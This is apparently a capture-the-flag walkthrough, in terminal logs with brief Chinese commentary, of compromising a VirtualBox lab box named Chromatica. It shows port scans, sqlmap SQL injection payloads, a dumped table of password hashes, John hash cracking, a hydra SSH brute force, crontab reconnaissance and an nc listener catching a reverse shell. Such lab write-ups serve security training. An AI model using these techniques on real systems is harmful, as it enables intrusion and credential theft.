➜ Chromatica nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 23:16 EDT Nmap scan report for 192.168.56.1 Host is up (0.00032s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00046s latency). MAC Address: 08:00:27:81:EF:A0 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.44 Host is up (0.00047s latency). MAC Address: 08:00:27:2C:9A:BC (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6 7 8 9 10 11 12
➜Chromatica nmap -sT -min-rate 10000 -p- 192.168.56.44 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 23:16 EDT Nmap scan report for 192.168.56.44 Host is up (0.00023s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5353/tcp open mdns MAC Address: 08:00:27:2C:9A:BC (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds
➜ Chromatica nmap -sT -A -T4 -O -p 22,80,5353 192.168.56.44 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 23:17 EDT Nmap scan report for 192.168.56.44 Host is up (0.00075s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 7c:94:7f:cb:4a:d5:8b:9f:9e:ff:7b:7a:59:ff:75:b5 (ECDSA) |_ 256 ed:94:2a:fc:30:30:cc:07:ae:27:7d:ca:92:01:49:31 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Chromatica|Coming Soon..... 5353/tcp open domain dnsmasq 2.86 | dns-nsid: |_ bind.version: dnsmasq-2.86 MAC Address: 08:00:27:2C:9A:BC (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.75 ms 192.168.56.44
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.40 seconds
➜ Chromatica sqlmap -r packet -batch ___ __H__ ___ ___[)]_____ ___ ___ {1.8.11#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and ar e not responsible for any misuse or damage caused by this program [*] starting @ 00:55:21 /2025-04-19/ [00:55:21] [INFO] parsing HTTP request from 'packet' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y [00:55:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [00:55:32] [INFO] target URL appears to have 4 columns in query [00:55:32] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests: ...... --- Parameter: #1* (URI) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://192.168.56.44/dev-portal/search.php?city=' AND (SELECT 2276 FROM (SELECT(SLEEP(5)))KNyG) AND 'tKEh'='tKEh Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: http://192.168.56.44/dev-portal/search.php?city=' UNION ALL SELECT NULL,NULL,CONCAT(0x7171626b71,0x4363747548505149627773496c574576674e636174734c774968547275574d597058494456456363,0x716a707071),NULL-- - --- [00:55:32] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 22.04 (jammy) web application technology: Apache 2.4.52 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [00:55:32] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 25 times [00:55:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.44' [*] ending @ 00:55:32 /2025-04-19/
将用户表 Dump 下来
1 2 3 4 5 6 7 8 9
+----+-----------------------------------------------+-----------+-----------------------------+ | id | password | username | description | +----+-----------------------------------------------+-----------+-----------------------------+ | 1 | 8d06f5ae0a469178b28bbd34d1da6ef3 | admin | admin | | 2 | 1ea6762d9b86b5676052d1ebd5f649d7 | dev | developer account for taz | | 3 | 3dd0f70a06e2900693fc4b684484ac85 (keeptrying) | user | user account for testing | | 4 | f220c85e3ff19d043def2578888fb4e5 | dev-selim | developer account for selim | | 5 | aaf7fb4d4bffb8c8002978a9c9c6ddc9 | intern | intern | +----+-----------------------------------------------+-----------+-----------------------------+
Sqlmap 这里只能破解出一个密码，我们使用 John 进行尝试，结果还是一样
1 2 3 4 5 6 7 8 9
➜ Chromatica john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 pass Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=16 Press 'q' or Ctrl-C to abort, almost any other key for status keeptrying (?) 1g 0:00:00:00 DONE (2025-04-19 01:01) 1.923g/s 27583Kp/s 27583Kc/s 110850KC/s g101485..*7¡Vamos! Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
➜ Chromatica hydra -L users.txt -P passwd.txt -Vv -t 12 192.168.56.44 ssh Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-19 01:23:04 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 12 tasks per 1 server, overall 12 tasks, 45 login tries (l:5/p:9), ~4 tries per task [22][ssh] host: 192.168.56.44 login: dev password: flaghere [STATUS] attack finished for 192.168.56.44 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-19 01:23:18
进行 SSH 登录，但是直接被弹出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ Chromatica ssh dev@192.168.56.44 dev@192.168.56.44's password: Permission denied, please try again. dev@192.168.56.44's password: GREETINGS, THIS ACCOUNT IS NOT A LOGIN ACCOUNT IF YOU WANNA DO SOME MAINTENANCE ON THIS ACCOUNT YOU HAVE TO EITHER CONTACT YOUR ADMIN OR THINK OUTSIDE THE BOX BE LAZY AND CONTACT YOUR ADMIN OR MAYBE YOU SHOULD USE YOUR HEAD MORE heh,, REGARDS
brightctf{ALM0ST_TH3R3_34897ffdf69} Connection to 192.168.56.44 closed. ➜ Chromatica
dev@Chromatica:~$ cat hello.txt GREETINGS, THIS ACCOUNT IS NOT A LOGIN ACCOUNT IF YOU WANNA DO SOME MAINTENANCE ON THIS ACCOUNT YOU HAVE TO EITHER CONTACT YOUR ADMIN OR THINK OUTSIDE THE BOX BE LAZY AND CONTACT YOUR ADMIN OR MAYBE YOU SHOULD USE YOUR HEAD MORE heh,, REGARDS
dev@Chromatica:/etc$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * analyst /bin/bash /opt/scripts/end_of_day.sh #
➜ Chromatica nc -lvp 1234 listening on [any] 1234 ... 192.168.56.44: inverse host lookup failed: Unknown host connect to [192.168.56.4] from (UNKNOWN) [192.168.56.44] 44846 bash: cannot set terminal process group (4181): Inappropriate ioctl for device bash: no job control in this shell analyst@Chromatica:~$
